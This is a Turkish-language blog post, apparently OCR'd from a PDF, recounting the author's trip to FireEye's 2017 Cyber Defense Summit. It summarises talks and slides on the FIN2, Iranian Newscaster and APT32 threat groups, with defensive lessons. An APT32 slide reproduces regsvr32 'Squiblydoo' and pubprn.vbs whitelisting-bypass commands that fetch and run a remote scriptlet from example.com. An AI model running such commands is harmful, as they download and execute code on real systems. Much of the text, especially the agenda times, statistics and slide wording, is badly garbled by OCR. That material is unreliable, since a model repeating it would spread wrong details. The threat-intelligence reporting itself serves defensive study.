FireEye Cyber Defense
Summit

written by Mert SARICA | 15 October 2017

Black Hat basta olmak lUzere son 2 yilda 3 defa (#1, #2, #3) siber guvenlik
konferanslarina katilmak icin yolum Amerika’nin Nevada eyaletinin Las Vegas
kentine dusmisti. Tam 2017 yilini es gececegimi duslnirken FireEye Tirkiye
Sorumlusu Umit NADIM‘den Eyliil ayinda beni oldukca heyecanlandiran bir davet
aldim. Davetinde, Turkiye'’den bir siber guvenlik arastirmacisini FireEye’1n
her yi1l Ekim ay1 gibi dizenlenen FireEye Cyber Security Summit siber guvenlik
konferansina gotirmek istedigini belirtiyordu. Uzun yillardir FireEye
urdnlerini kullanip Mandiant‘in da basarili calismalarinin yer aldigi tehdit
raporlarini yakindan takip eden bir gudvenlik uzmani olarak, Mandiant’in
sunumlarini yakindan izleyebilme sansina erisebilecek olmak beni oldukcga
mutlu etti ve cok dustunmeden daveti kabul ettim.

8 Ekim tarihinde Umit NADIM’in liderliginde 8 kisilik bir kafile olarak San
Francisco aktarmali olarak Las Vegas’'a gitmek lzere yola ciktik. Seyahat her
zaman oldugu gibi oldukc¢ca uzun ve yorucuydu. Saatte 30 KM hizla esen rizgara
karsi Las Vegas’'in McCarran Uluslararasi Havalimani’na pilotun uc¢agi oldukca
zor sartlarda indirmesi, ylregimizi agzimiza getirdi. Havalimanindan
¢iktigimizda her zaman oldugu gibi Las Vegas yine o mithis ihtisami ile bizi
karsiladi. Sabah saat 9'da ¢iktigim evimden, Las Vegas’'in o meshur Ocean’s 11
filmine de konu olmus Bellagio oteline yerlesmem tam tamina 28 saat surmustu.


https://www.hack4career.com/fireeye-cyber-defense-summit/
https://www.hack4career.com/fireeye-cyber-defense-summit/
http://www.blackhat.com/
https://www.mertsarica.com/black-hat-macerasi/
https://www.mertsarica.com/intel-security-focus-guvenlik-konferansi/
https://www.mertsarica.com/black-hat-usa-2016/
https://www.fireeye.com/
https://www.linkedin.com/in/umitnadim/
https://www.fireeyesummit2017.com/
https://en.wikipedia.org/wiki/Mandiant
https://www.fireeye.com/current-threats/annual-threat-report/mtrends.html
https://www.fireeye.com/current-threats/annual-threat-report/mtrends.html
http://www.imdb.com/title/tt0240772/
https://www.bellagio.com/en.html
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9 Ekim sabahi konferans icin kaydimizi yaptirmak icin Umit Bey ile otelin

asansorinden c¢iktigimizda karsimizda bir anda FireEye’in CEO’su Kevin
Mandia‘y1i ve CTO’'su Tony Cole‘yi gordik. Kendileri ile kisa bir sire sohbet
ettikten sonra Kevin Mandia ile o ani olimsuzlestirmek icin bir fotograf
cektirmeyi de ihmal etmedik. :) Yolumuzun Uzerinde olan Bellagio’nun botanik
bahcesini de hizlica gezdikten sonra konferansa kaydimizi yaptirmak ic¢in
kayit ofisinin yolunu tuttuk ve konferans programi ile yaka kartlarimizi
aldik. Aksam duzenlenen Merhaba Resepsiyonu’na da katildiktan sonra o guni
glizel bir aksam yemegi ile tamamladik.


https://www.linkedin.com/in/kevin-mandia-0a07173/
https://www.linkedin.com/in/kevin-mandia-0a07173/
https://www.linkedin.com/in/wmtonycole/
https://www.bellagio.com/en/entertainment/conservatory-botanical-garden.html
https://www.bellagio.com/en/entertainment/conservatory-botanical-garden.html
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SUMMIT AGENDA

At-A-Glance

TUESDAY, OCTOBER 10

TIME

SESSION

ROOM

NOON - B:D0OPM
5:30PM - 7-30PM

Registration Open
Welceme Reception / FirsEye Expo

Registration Desk 2
Grand Ballroom 4 - 9

WEDNESDAY, OCTOEER 11

TIME
6:30AM - 5:30PM
7:00AM = S:00AM

:00AM - TIZ0AM
T:F0AM - 12:30PM

12:30PM - Z:00PM
Z:00PM - £:00PM

4:00PM - 4:30PM
430PM - B30PM

E30PM - :30PM

SESSION

Registration Open

Breakfast / FireEye Expo

Keynote Presentations:

Kevin Mangia | FireEye Company Overviaw
Grady Summers | FireEye Technology Overview
John Watters | FirgEve Services Querview

Coffee Break / FireEye Expo

Guost Speaker:

Kurt Warner, Hall of Fame Guarterback,
Football Analyst and Philanthropist
Lunch / FireEye Expe

Track One: Financial

Track Two: Inclustrial Controf Systems (1C5)
Track Trree: Government

Track Four: Strategic Intelligence

Coffee Break / FiraEye Expo

Track One: Financial

Track Twa: Industrial Control Systems (IC5)
Track Three: Gevernment

Track Four: Strateaic Intelligence

Cocktail Reception & Dinner

4 FIREEYE CYBER DEFENSE SUMMIT 2017

ROOM

Reglstration Desk 2
Grand Ballroom 4 - 9
Bellagle Ballreom

Grand Ballreom 4 - 9
Ballagio Ballroom

Grand Balloam 4 - 9
Bellagic Ballroom
Manet 3 & 4

Grand Ballroom 1- 3
Monet 142

Grand Ballroom 4 - @

Bellagio Ballroom
Monet 3 & 4

Grand Ballrcom 1 - 3
Monet 1&2

Ballagic Poal

THURSDAY, OCTOBER 12

TIME

7.00AM - 4:00PM

F:00AM - S:00AM

SO0AM - TA5AM

DL45AM - I45AM

10:45AM - 11:15AM

THSAM - 1215PM

1215FM - T15PM

TISPM - 315PM

3:15PM - 3:45PM

JA5PM - 5ASPM

6:00PM - B:00PM

SESSION

ROOM

Registration Open

Breakfast / FiraEye Expo

Keynote:

David Hogue, Senior Technical Director | NSA

A Day in the Life of NSAE Cybersecunty
Operations Center (NCTOCH

‘Customer Spatlight:

Erian D. Cincera, Vice Fresident, Global
Information Sacurity | Pfizer
Cybersecurity Fitness; Keys (0 & Healthier
Husiness

Caffee Break / FireEye Expo
Inclustry Spotlight:

Madav Zafrir, Co-Foundar, CEQ | Teamg
Change Your Cyber State of Mind

Lunch / FireEys Expo
Mandiant on the Frontlines

Track Flve: Tachnical Track
Track Six: Management Track

Coffee Break / FireEye Expo
Mandiant en the Frentlines

Track Five: Techrical Track
Track Six: Managemant Track

Thank You Reception / FireEye Expo

Reaistration Desk 2
Grand Ballroom 4 - 9

Ballagle Ballroom

Bellagic Ballroom

Grand Ballroom 4 - 9

Ballagia Ballraom

Grand Ballroom 4 -9

Monet 3 &4
Monet 182

Grand Ballroom 4 - 9

Maonat 384
Monet 1 &2

Grand Ballraom 4 - 8

FRIDAY, OCTOBER 13 | SATURDAY, OCTOBER 14

TIME

SESSION

ROOM

B:00AM - 500PM

Bost-Summit Training

Gauauin
Gauguin 2
Renoir 1
Renair 2
Cezanne |

PROGRAM GUIDE
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10 Ekim olan konferansin ilk glnu sabahinda, Kevin Mandia’nin acgilis
konusmasini dinlemek tUzere hincahin¢ dolu olan konferans salonunda yerimizi
aldik. Oturan herkesin aksine size bol bol resim ve video cekmek icin en




arkada dikilmenin karsiligini fazlasiyla aldim ve Kevin Mandia’nin
konusmasinin ilk 5 dakikasini sizler icin kayit ettim. ;)

Bir diger CTO olan Grady Summers sunumunda, c¢ok sayida guvenlik alarmlari ile
bogusan glivenlik ekiplerinin is yukiniu azaltma ve akilli alarmlara
odaklanabilmelerini saglama adina, FireEye’in Helix drdninin yeni
6zelliklerinden bahsetti. 0zellikle alarmlari mobil arayiiziinden

goruntileyebilme 6zelligi oldukca hosuma gitti.



https://www.linkedin.com/in/gsummers/
https://www.fireeye.com/products/helix.html







THE PROBLEM

Security teams receive more than 17,000 alerts per week.

Y
s
4
| 199 are reliala. Cf those, enly 4% are Investigated.
I | On average, organizations spend 395 hours a week respcnding 10 false postives.

Thisls 51.2710 average annual cost lof time lost.

Acilis konusmalarindan sonra katilabilecegim cok sayida paralel oturum vardi.
Bir sonraki gun gerceklestirilecek olan Mandiant’in teknik oturumunu dort
g0zle bekledigim icin o giin Finans oturumuna katilmaya karar verdim.
Klicumseyerek girdigim Finans oturumu beni ilk sunumdan son sunuma kadar
oldukca sasirtip, ters kose yapti. Tony Cole’un sunumuyla baslayan Finans
oturumunda, APT gruplari ile FIN APT gruplarinin gerceklestirdigi siber
saldirilardaki ortak noktalar ve farklilik gézler onine serildigi gibi FIN
APT gruplarinin gerceklestirdigi siber saldirilarda kullandiklari yontemlere

ve saldirilardan korunma adina izlenmesi gereken yollara dikkat cekildi.



Breach to Discovery

Median time from breach to discovery IS gelling shorter but still remains too leng

99 DAYS

GLOBAL

99 DAYS

106 _: }{\\r':"?

FireEye
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Tracking Targets to Attribute Operations

@ Advanced Persistent Threat

n APT Groups

"" Enterprise Financial Criminals
“ FIN Groups

-@- Identified Threat Groups

== - =]

==Y

FINANGIAL TRAEK

« Track 30+ APT Groups
¥ Nation-state sponsored,

sophisticated, determined,
and coordinated attackers

+ Track 10 FIN Groups
¥ Enlerprise cyber criminals

v Tracked 600+ other
advanced threal actors
¥ Similar malware and activity
1o APT, tracking for development
into FIN or APT group
@-’ure&'y?

FireEye

ISE SUMMIT







Cyber Crime Case: FIN2 Targeting Retail

Emtery via SOL
Infections.
on websarvers

Employ backdoors
12 establish remate
access, and encrypt
communications

=
Deplay adaitiznal |
backdeors

Use password
dumping wiilities
1 obtain legltimate
user passwerds

Malntaln re—

— Laterally

Executed Windews
baech acripts via
Windows Scheduled
1asks ta preform recan

-
[
| cireumvent sate
= guards and
meve In
netwark

Steal primary accourt
numbers and credit
card data

inancial seclor and financial data

rs known as APOCALIPTO and LEAPFOG
= via SQL Injections an web servers

@FreEyﬁl




Suggestions for Next Steps

- Validate your response readiness
- Prevent Known Threals with good
security hygiene.

twork aCccess control
ictions, AAA to limit

e forensics on critical

o
» Use Red-Teaming lo lest your
curity detection and response

@F:reEyi
5 FireE
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Konferansin ikinci gununde ise yine ilk olarak sahneye Kevin Mandia ¢ikti ve
sO0zu c¢ok uzatmadan konusmasini yapmak Uzere NSA‘in SOC’undan sorumlu olan
kidemli teknik direktoru Dave Hogue‘ye verdi. Sodze ilk olarak NSA’in genele
acik bir etkinlikte ilk defa sunum yaparak bir ilke imza attigini belirtti.
Ilk olmasindan olsa gerek ki sunum oldukca siradan ve sikiciydi. Aklimda
kalan iki seyden biri, bir zafiyet c¢iktiginda tim DoD‘un veri merkezini 24
saat i¢inde zafiyete karsi tarayabildikleriydi. Digeri ise izleyicilerden
soru kabul etmeye basladiginda bir izleyicinin “Peki son hacking vakalarindan
sonra nasil toparlandiniz?” sorusuna tabii ki “Yorum yok” yanitini

vermesiydi. :)


https://www.nsa.gov/
https://www.infosecuritynorthamerica.com/en/Contributors/4714488/David-Hogue
https://www.defense.gov/

] ' CYBER DEFENSE 'SUMMIT
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DR DDER Dot

Inside the Latest Evolving and Emergini

THE VIEW FROM NSA’S CYBERSECURITY
OPERATIONS CENTER (NCTOC)

FireEye
CYDER DEFENSE SUMMIT
e




VULNERABILITY, A

FireEye
5:;: l:c;‘F’fNS E SUMMI

ESCALATING CYBER THREAT

- Cyber activity continues to become MORE SOPHISTICATED

" The LEVEL OF EXPERTISE REQUIRED 1S DECREﬂSING

* TREND IS CLEAR: moving fro
to DISRUPTION

FireEye

CYBER DEFENSE SUMMIT
2017
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¥¥;1' g b REMAINS VERY SENSITIVE TO
- FUNDAMENTAL SHIFTS INTERNATIONAL POLITICAL ELLfEEI;I]TDi
i .. WHICH CAN INFLUENCE TARGET SELEC
'l TC]N&IH%N STATE 5| AND LEVEL OF MALICIOUS ACTIVITY

| Geopolitical events have drastically altered
- the operating profile of sophisticated Nation
| state adversaries

FireEye
C“'-'?_E\RII gEmF: NSE SUMMIT

Sira teknik oturuma geldiginde ise sahneye ilk olarak Mandiant’in en kidemli
bilgisayar olaylarina midahale uzmanlarindan Jeff Hamm cikti. Yaptigi sunumda
isim vermeden kurumlarin nasil hacklendiklerini, hacklendiklerini nasil
ogrendiklerine, c¢ikarilan derslere ve bunlara karsi neler yapilmasi
gerektigine yer verdi. Anlatim dilinin esprili olmasinin yani sira bilgisayar
olaylarina midahale esnasinda gecen diyaloglara da sunumunda yer vermesi
izleyenlere keyifli dakikalar gecirtti. Sunumunda 6zellikle kimi kurumlarin
hacklendikten sonra bazi sistemlerinin varligindan o an itibariyle haberdar
olmalarina dem vurarak, varlik envanterinin kurumlar tarafindan siki takip

edilmesi gerektiginin altini o6nemle ¢izdi. (klresel sorun)


https://www.linkedin.com/in/jeffhamm/

APTxZ

- Alarge International company aleried on an Encrypted
RAR file in their defense industrial business unit.
+ The RAR file transmission was blocked by IPS
« A full scape IR revealed an additional APT group in the Mining
and Gas business unit.
attacker targeted the Mining and Gas infection wih a spear-
phighing campaign
« Tne company bebeved they remediated (he phishing emads but did nat
walidate their actions
+ The attacker moved further inlo the envirenment as & resull

@F




APTx2

* Lessons Leamned:
+ Rebuild workstations believed to have been affected by
malware

« Validate that any remedial actions were successful




Broadcast Denled

= Television Broadcasting Company had their repeaters
crash just prior to an annual special event broadcast
. Dropne‘.ary systems wera sentla remove network devices
command., 4 B

The host name of the sysle
early en

m sgmdwng the command was found

* The IP address W3S unkj
= The IP address assignmafl was DHCR and was not logged

* Abackup server had inglfGsping of TR address, but (he system
Was naver localed /s




Broadcast Denied

- Lessons Learned:
Ensure inventory contrel is part of the security posture of the

company
. Have a disaster recovery plan to bring critical, remate devices

up automatically

Lessons
Learhe




Diger bir sunumda ise Robert Wallace ve Alex Pennino sahneyi birlikte

paylastilar. Sunumlarinda Iran tarafindan gerceklestirildigi bilinen
Newcaster APT saldirilarindan elde ettikleri gincel bilgilere yer verdiler.


https://www.linkedin.com/in/rwallace
https://www.linkedin.com/in/pennino
https://en.wikipedia.org/wiki/Operation_Newscaster

DEFENSE SUMMIT 2017

MANDIANT ON THE FRONTLINES | CYBER

IRAN SO FAR AWAY

A VIEW FROM THE FRONTLINES OF RECENT IRAMIAN
SPONSORED CYBER ATTACKS

AROBERT WALLACE + ALEX PENNING JOINT | MANDIANT




MANDIANT ON THE FRONTLINES TRACK

COUNTRY PROFILE: IRAN

- Key cyber capabilities are suspected to be under control of IRGC
« Aggressive and destructive campaigns
= Contractors that conduct cyber warfare by proxy

+ Continuing to grow their CNO capabilities

* What they lack in technical sophistication, they make up for in aggression




MANDIANT ON THE FRONTLINES TRACK

NEWSCASTER TEAM: ATTACK LIFECYCLE

TightVNC PRESENCE LATERALLY ™ . poEyec
Plink
OWA/O365

> >~ —
INITIAL COMPROMISE ESTABLISH FOOTHOLD ESCALATE PRIVILEGES  INTERNAL RECONNAISSANCE  COMPLETE MISSION
> 3 3=

RRSREEY A < A N —

; _
- ‘Social i - RARESTEAK
e BROKEYOLK - Mimikatz * VPN R e

< BeEF FIVERINGS * Procdump Citrix PST Files

P
VPN - RDP
Citrix MAINTAIN —— <€— MOVE i PowerShell

« PUPYRAT HOUSEBLEND (Isass) + NetScan + MallEwd
+ Web Exploits MANGOPUNCH
= MailSniper




MANDIANT ON THE FRONTLINES

NEWSCASTER TEAM MALWARE

Description
Pupy, a Python-based, open-source remote administration Trojan (RAT) used Public
fi

or post-exploitation enviranments, was leveraged on multiple occasions by
Newscaster Team as a second-stage payload.

BROKEYOLK is a NET downloader that downloads and execules a file from a Nan-Public
hard-coded command and control (C&C) server. The malware communicates
via SOAP (Simple Object Access Protocol) requests using HTTP.

FIVERINGS FIVERINGS is a .NET data miner This sample gathers system information and Non-Public

screen shots. It uploads the collected data to the command and control (C&C)
server using HTTP web services.

HOUSEBLEND HOUSEBLEND is a downloader also capable of execuling shell commands Non-Public
Provided by a hard-coded cemmand and control (C2) server via HTTP.

MANGOPUNCH MANGOPUNCH is a .NET backdoor that communicates using the HTTP POST Non-Public
method and encoded UR| strings.

RARESTEAK is an uploader capable of sending .RAR files in the current Non-Public
directory to a command and centrol (C&C) address and port specified via the
command line,




MANDIANT ON THE FRONTLINES TRACHK

NEWSCASTER TEAM LESSONS

* North Korea is new Iran and Iran is new China and China is new Russia
and Russia is Fake News

* Identified across almost every industry These guys are like
the APT1 of 2017

* Massive email theft

» Simple to detect — difficult to remove :
— Alex Pennino,

March 2017




MANDIANT ON THE FROHNTLINES TRACK

NEWSCASTER TEAM LESSONS

- Disable Exchange ActiveSync (EAS) for privileged and service accounts

+ Review current policy to ensure only necessary domain accounts have EAS
enabled

+ Enforce Mailbox Audit Logging for specific high-value accounts

* Logs mailbox access by owners, delegates and administrators

= Review Exchange Web Services (EWS) configuration
* Potential for 2FA by-pass

* Observed in the wild

Nick Carr ve Ben Withnell tarafindan gerceklestirilen bir diger sunumda ise
APT32 grubunun kullandigi taktik, teknik ve prosedirlere yer verildigi gibi
bu saldirilarla nasil micadele edilebilecegine de sunum boyunca yer verildi.


https://www.linkedin.com/in/nicholascarr/
https://www.linkedin.com/in/benwithnell

cYBER
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§ FmomMTLINES TRACK

ast Asia

MAMDIAMT BN TH

or Companies in Southe

APT32 Targeting Private Sect

|

Table 1: Targeting table




APT32 Attack Lifecycle

Schoduled Tasks
Maintain
Cobalt 2 Prasgnce
BEACON
(Initlal Compromise Establish Footheld _Escalate Privieges _Internal Recen _ Complete Mission |

ActiveMima Phish WINDSHIELD CVE-2 T
i wsing Data

KOMPROGO

QFiretye




M m e AN T oM THELFAG T ES TR A

How APT32 Gets In: Weaponized ActiveMime Phishing Docs

20174 b
- (2017 Statistical Report an
Staff Salary and Allowances)
Thong tin.doc
+ {Information)
Ke hoach cuu tro nam 2017.doc
= (2017 Bailout Plan}
Instructions to GSIS.doc
Hal thao truyen thong doc lap.doc
+ Traditional Games
Phan Vu Tutn CV.dec
HE DVPM-VTC 21.03.)7.doc

. gidy yéu ciu bai thueng mel 2016 - hang.doc
+ {New 2016 Claim Form)
- Hoa den chi tiet tian no
- (Debt Details)
+ Danh sach nhan vien vi pham ky luatdoc
« {List of employee viclations)
+ Danh sach nhan vien lam viecsai quy. dinh.doc
- (List of employees working illegallyy
+ Mgi-dung-guing-cao.doc

« (Internal content advertising)

&FireE}re_‘




MANDIAKT GH THE FRONTLIMNES T

Track All the Things!

* Tracking and analytics used throughout
* APT32 had real-time info on their lures: e
* Delivery
* Opening email
» Clicking of links
= Opening of a file (even if macros

disabled)

- Similar to a Cloud DLF solution

* Whether macros were then enabled

+ Due to that infecting the system
7 Lea3D Bi—no-proatiyes 'nslag width=30155 heig=

ELRI/ 108, SUppErpow. com: B8/ Ed/ Tans/ mitsumd f2550=




WANDIANT

Post-Compromise: Bypasses

« Casey Smith (@subTee) & Powellks-inspired persistenca:

Casey Smith's "Squiblydoo” bypass

regsvrd2 s /n Ju / Jexanple.con/file. sct scrobj.dll

Matt Nelson (@enigmadx3)'s pubprnvbs bypass:

cscript /b C:\Windows\System32\Printing Admin_Scriptsien

orn.wbs localhost "seriptihttp://example.com/file. sct

u FRONTLINES TRALE
¢, e fusamn
rundiaz. axe
Jvasc

n
vl = roe 4 2OAC RO RGH W G
e w. Execlicale\t T

yrwntml el FunHTMLApphealio

[Bkg Posi]
Bypass Appiication Whitelisting Saript
s - Flagswr32.ex & COM Scriptiets
{.act files)
4ubAT1D blogspat.comyz01 Bi04/bypass .
)

£ gt [ —1
50 Sonigmulxd faund ane of my naw
favorite new ways 10 executs COM Scriptiets
gitub.com/ubTen/windows ...

See GeiObject at Lino 64 of pubpm.vbs




How to be a real piece of work to attackers:

* Don't be afraid of detection noise

» Decouple attackers from tools & technigues.

= Adopt evasion research as quickly as attackers do.

* “Red team” frameworks are used by more than the red team.

Kissadan hisse, ylksek olan beklentilerimi fazlasiyla karsilayan FireEye
Cyber Defense Summit glvenlik konferansindan mutlu ve aydinlanmis bir sekilde
evime donerken, 12 saatlik ucak yolculugunda sicagi sicagina kaleme aldigimi
bu yaziyi yazarken bile etkinlikte oldugu kadar keyif aldim. Yazima son
noktayi koymadan once, hem daveti ic¢in hem de seyahatin basindan sonuna kadar
tim konuklariyla yakindan ilgilenip, misafirperverligi ile evimizi aratmayan
Umit NADIM’e tesekkiirii bir bor¢ bilirim. 2018’de tekrar bu konferansa katilma
sansim olur mu bilinmez ama konferansa katilacaklari simdiden kiskanmaya
basladigimi sOyleyebilirim. :)

Bir sonraki yazida goOrismek dilegiyle herkese givenli gunler dilerim.



Not: Etkinlik esnasinda sosyal medya hesaplarimdan da duyurdugum lzere,

Linkedin ve Twitter hesaplarimi takip edenler arasinda gerceklestirilen
hediye cekilisine buradan katilabilirsiniz.


https://www.linkedin.com/in/mertsarica/
https://twitter.com/mertsarica
https://www.mertsarica.com/fireeye-cyber-defense-summit-hediye-cekilisi/

